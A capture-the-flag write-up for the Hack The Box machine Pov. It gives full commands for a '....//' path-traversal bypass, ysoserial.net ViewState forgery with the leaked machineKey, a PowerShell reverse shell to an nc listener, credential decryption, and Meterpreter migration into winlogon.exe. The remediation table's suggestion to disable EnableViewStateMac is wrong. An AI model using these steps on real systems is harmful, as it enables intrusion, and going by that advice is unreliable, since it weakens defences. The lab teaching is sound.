← Back to writeups

HTB Pov: ASP.NET ViewState Deserialization and SeDebugPrivilege Abuse

Introduction

Pov is a Medium-difficulty Windows machine that chains four distinct attack primitives: web reconnaissance to discover a hidden subdomain, a path traversal vulnerability that leaks sensitive application secrets, .NET deserialization for remote code execution, and Windows privilege abuse via SeDebugPrivilege.

What makes Pov particularly educational is that each step is realistic — the vulnerabilities mimic patterns found in real production IIS deployments. By the end you will understand how a single misconfigured file download endpoint can cascade all the way to full system compromise.

Skills reinforced: subdomain enumeration, LFI filter bypass, ASP.NET ViewState exploitation, PowerShell credential decryption, and Windows token/process privilege abuse.

Attack Overview

Nmap → Port 80 (IIS 10.0) → pov.htb

FFUF subdomain fuzzing → dev.pov.htb

LFI: POST /portfolio/default.aspx (file param) → bypass ....// → web.config

machineKey leak (AES decryptionKey + SHA1 validationKey)

ysoserial.net → forged __VIEWSTATE → RCE → shell as sfitz

C:\users\sfitz\Documents\connection.xml → PSCredential → alaading:f8gQ8fynP44ek1m3

SeDebugPrivilege (Enabled in WinRM context via portfwd)

Meterpreter migrate → winlogon.exe (SYSTEM) → nt authority\system

Reconnaissance

Port Scan

A fast port scan confirms a single exposed service — port 80 running Microsoft IIS.

nmap -sC -sV -p 80 10.129.230.183
PortServiceVersion
80HTTPMicrosoft IIS httpd 10.0

Key observations from the Nmap output:

  • IIS 10.0 → Windows Server 2016 or 2019
  • ASP.NET 4.0.30319 detected in response headers (X-Powered-By)
  • TRACE method enabled — rarely useful for exploitation here, but worth noting as a misconfiguration
  • Hostname pov.htb revealed in the HTTP response

Add the hostname to your hosts file:

echo "10.129.230.183 pov.htb" | sudo tee -a /etc/hosts

Web Enumeration

Main Site — pov.htb

The main site is a generic business landing page. The most interesting element is the Contact Us section which mentions:

  • Email: sfitz@pov.htb — potential username sfitz
  • A reference to dev.pov.htb as a developer portfolio

Subdomain Fuzzing

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -H "Host: FUZZ.pov.htb" \
     -u http://pov.htb \
     -fc 302 -mc all

dev returns a 302 redirect — a live subdomain. Add it to your hosts file:

sudo sed -i 's/pov.htb/pov.htb dev.pov.htb/' /etc/hosts

dev.pov.htb — Portfolio

dev.pov.htb shows a developer portfolio for Stephen Fitz. The site highlights ASP.NET development expertise and offers a Download CV button — a file download feature, which is always worth examining.

Fingerprinting with Nuclei confirms:

  • IIS/10.0 server
  • ASP.NET 4.0.30319 runtime
  • TRACE method enabled

LFI / Path Traversal

Intercepting the Download Request

Clicking “Download CV” sends a POST request to /portfolio/default.aspx with a file parameter specifying the file to serve:

POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
Content-Type: application/x-www-form-urlencoded

__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=...&file=cv.pdf

The server uses Response.TransmitFile() to serve the file — this .NET method sends a file directly from disk to the client. The question is: does it validate the path?

Identifying the Filter

Testing a naive path traversal ../web.config returns a redirect with filename=web.config in the Content-Disposition header. The file that comes back is actually cv.pdf — the ../ was stripped, but the filename landed at the wrong level. This reveals a single-pass regex filter:

// Server-side (reconstructed)
filePath = Regex.Replace(filePath, "../", "");

This is a classic non-recursive filter. It removes the first occurrence of ../ but doesn’t loop, so if you embed ../ inside a longer traversal sequence, the inner ../ survives.

Bypass — Double-Encoded Traversal

The bypass is ....//:

....//  →  after removing one "../"  →  ../

So ....//web.config becomes ../web.config after the filter runs — which is exactly what we want.

Modify the file parameter in Burp Repeater:

file=....//web.config

The server responds with HTTP/1.1 200 OK and returns the contents of web.config.

Confirming Absolute Path Read

The filter bypass also allows reading arbitrary files using absolute Windows paths. Testing:

file=C:\Windows\win.ini

Returns the win.ini file — confirming unrestricted file read via TransmitFile(). The function accepts any path the IIS worker process can access.

Extracting the web.config — machineKey Leak

Requesting the application’s own config file:

file=....//web.config

The response contains the full web.config, including the <machineKey> element:

<machineKey
  decryption="AES"
  decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
  validation="SHA1"
  validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
/>

This is a critical leak. The machineKey is the secret used to sign and encrypt the ASP.NET ViewState — the hidden field sent on every postback request. Knowing it means we can forge a valid __VIEWSTATE payload that the server will trust and deserialize.

ASP.NET ViewState Deserialization (RCE)

What is ViewState?

ASP.NET WebForms use a mechanism called ViewState to persist UI state across HTTP requests. On every page load, the server serializes page state into a hidden form field (__VIEWSTATE), sends it to the browser, and when the form is submitted, the browser sends it back. The server deserializes this field to reconstruct state.

When machineKey is configured, the ViewState is both encrypted (AES) and MAC-signed (SHA1) using these keys. The server trusts the ViewState completely — if the signature validates, it deserializes the content without further checks.

The attack: with the machineKey in hand, we can craft a __VIEWSTATE containing a malicious .NET deserialization gadget. The server decrypts and verifies it (because we have the correct keys), then deserializes it — executing arbitrary code.

Setting Up ysoserial.net

ysoserial.net is the standard tool for .NET deserialization gadget generation. It runs natively on Windows; on Linux, use Wine with .NET 4.8:

sudo apt install mono-complete wine winetricks -y
winetricks dotnet48
# Download latest release from GitHub and unzip
wine ysoserial.exe --help

Verifying Parameters — VIEWSTATEGENERATOR

Before generating the exploit payload, verify the __VIEWSTATEGENERATOR value. This 8-character hex value depends on the application path and must match what the server expects. Use --islegacy --isdebug to print it:

wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "ping -n 1 10.10.14.165" \
  --path="/portfolio" --apppath="/" \
  --validationalg="SHA1" \
  --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
  --decryptionalg="AES" \
  --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
  --islegacy --isdebug

Output includes:

Calculated __VIEWSTATEGENERATOR (ignored): 8E0F0FA3

Compare this to the __VIEWSTATEGENERATOR value captured in the intercepted request — they match (8E0F0FA3). Parameters are correct.

Set up a listener to catch the ICMP ping:

sudo tcpdump -i tun0 icmp

Generate the payload, paste it into the __VIEWSTATE parameter in Burp Repeater, and send. If you see ICMP packets arriving, RCE is confirmed.

Getting a Reverse Shell

Generate a PowerShell reverse shell payload (e.g. PowerShell #3 Base64 from revshells.com with your tun0 IP). Then:

# Start a listener
rlwrap nc -lvnp 4444

# Generate the payload (strip newlines with tr before using)
wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "powershell -e <BASE64_PAYLOAD>" \
  --path="/portfolio" --apppath="/" \
  --validationalg="SHA1" \
  --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
  --decryptionalg="AES" \
  --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
  --islegacy | tr -d '\n'

Paste the output into the __VIEWSTATE field in Burp Repeater and send the POST to /portfolio/. The listener receives a shell:

PS C:\windows\system32\inetsrv> whoami
pov\sfitz

Lateral Movement

Discovering connection.xml

Exploring sfitz’s home directory:

tree C:\users\sfitz /F

Under C:\users\sfitz\Documents\ there is a file called connection.xml. Reading it:

type C:\users\sfitz\Documents\connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb...</SS>
    </Props>
  </Obj>
</Objs>

This is a PowerShell PSCredential — a serialized credential object. The password is encrypted using the Windows Data Protection API (DPAPI), which ties the encryption key to the current user’s Windows login session. Since we are running as sfitz, we can decrypt it directly.

Decrypting with Import-Clixml

$cred = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
$cred.GetNetworkCredential().Password

Output:

f8gQ8fynP44ek1m3

Credentials recovered: alaading : f8gQ8fynP44ek1m3

Pivoting to alaading

WinRM (port 5985) is listening but only on localhost — it is not reachable from the attacker machine directly. Use Invoke-Command from the current shell to run commands as alaading:

$secPass = ConvertTo-SecureString "f8gQ8fynP44ek1m3" -AsPlainText -Force
$cred    = New-Object System.Management.Automation.PSCredential("pov\alaading", $secPass)
Invoke-Command -ComputerName pov -Credential $cred -ScriptBlock { whoami /priv }

This confirms SeDebugPrivilege is assigned to alaading. To get a persistent shell, use Invoke-Command to send a reverse shell back:

Invoke-Command -ComputerName pov -Credential $cred -ScriptBlock {
    powershell -e <BASE64_REVERSE_SHELL>
}

User flag is at C:\users\alaading\desktop\user.txt.

Privilege Escalation

SeDebugPrivilege — Understanding the Primitive

Running whoami /priv as alaading:

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeDebugPrivilege is assigned but shows as Disabled. On Windows, a privilege can be assigned to a user/token yet not active in the current process. The state depends on the logon type and the process that spawned the shell.

A shell spawned via RCE (like our reverse shell or Meterpreter session) may not activate all token privileges. A WinRM session (interactive network logon) activates the full privilege set for that token.

Enabling the Privilege via WinRM

WinRM (port 5985) is only reachable locally. Use Meterpreter’s port forwarding to tunnel it to the attacker machine:

meterpreter > portfwd add -l 5985 -p 5985 -r 127.0.0.1
meterpreter > portfwd list

This maps attacker:5985target:127.0.0.1:5985. Now connect via evil-winrm:

evil-winrm -i 127.0.0.1 -u alaading -p "f8gQ8fynP44ek1m3"

Check privileges in this new session:

*Evil-WinRM* PS> whoami /priv

Privilege Name                Description                    State
============================= ============================== =======
SeDebugPrivilege              Debug programs                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeDebugPrivilege is now Enabled. This is the access we need.

Why SeDebugPrivilege Leads to SYSTEM

SeDebugPrivilege grants the ability to open any process with PROCESS_ALL_ACCESS — regardless of the process owner’s security descriptor. This means we can open a process running as NT AUTHORITY\SYSTEM and inject into it.

Target: winlogon.exe — the Windows Logon Application. It runs in user session 1 as SYSTEM, making it an ideal migration target.

Identify the PID:

Get-Process winlogon
# or from Meterpreter:
ps | grep winlogon

Migrating into winlogon — SYSTEM

From a Meterpreter session established via the portfwd context (which inherits the WinRM token with SeDebugPrivilege enabled):

meterpreter > migrate <winlogon_PID>
[*] Migrating from <current_pid> to <winlogon_PID>...
[*] Migration completed successfully.

meterpreter > shell
C:\Windows\system32> whoami
nt authority\system

The migration succeeds because SeDebugPrivilege is active in our token, allowing us to open winlogon.exe with full access and inject our Meterpreter stage into its process space.

Root flag is at C:\Users\Administrator\Desktop\root.txt.

Flags

User flag : [redacted]
Root flag : [redacted]

Key Takeaways

VulnerabilityRoot CauseRemediation
Path Traversal (LFI)Single-pass regex strips ../ once — non-recursive filter trivially bypassed with ....//Use a whitelist of allowed filenames; never build file paths from user input; use Path.GetFullPath() and validate it starts within the allowed directory
machineKey exposed via LFIweb.config is in the web root and readable by the IIS worker process; the LFI has no scope restrictionRestrict file read to a specific safe directory (e.g. a downloads/ folder); store machineKey outside the web root; rotate keys if exposed
ViewState Deserialization RCEASP.NET deserializes ViewState unconditionally once the MAC signature validates; with a known machineKey an attacker can forge any payloadUse requireSSL, rotate machineKey regularly, consider EnableViewStateMac disabled if ViewState isn’t needed; upgrade to .NET 4.5+ with ViewStateUserKey
PSCredential stored on diskA credential was serialized with Export-Clixml and left accessible to other usersNever store credentials on disk; use a secrets manager or Windows Credential Manager with ACLs scoped to the owning account only
SeDebugPrivilege leads to SYSTEMAssigned privilege is enough to migrate into SYSTEM processes via WinRM sessionApply principle of least privilege; audit who holds SeDebugPrivilege (default: only Administrators); restrict WinRM access; monitor for cross-process injection events

Resources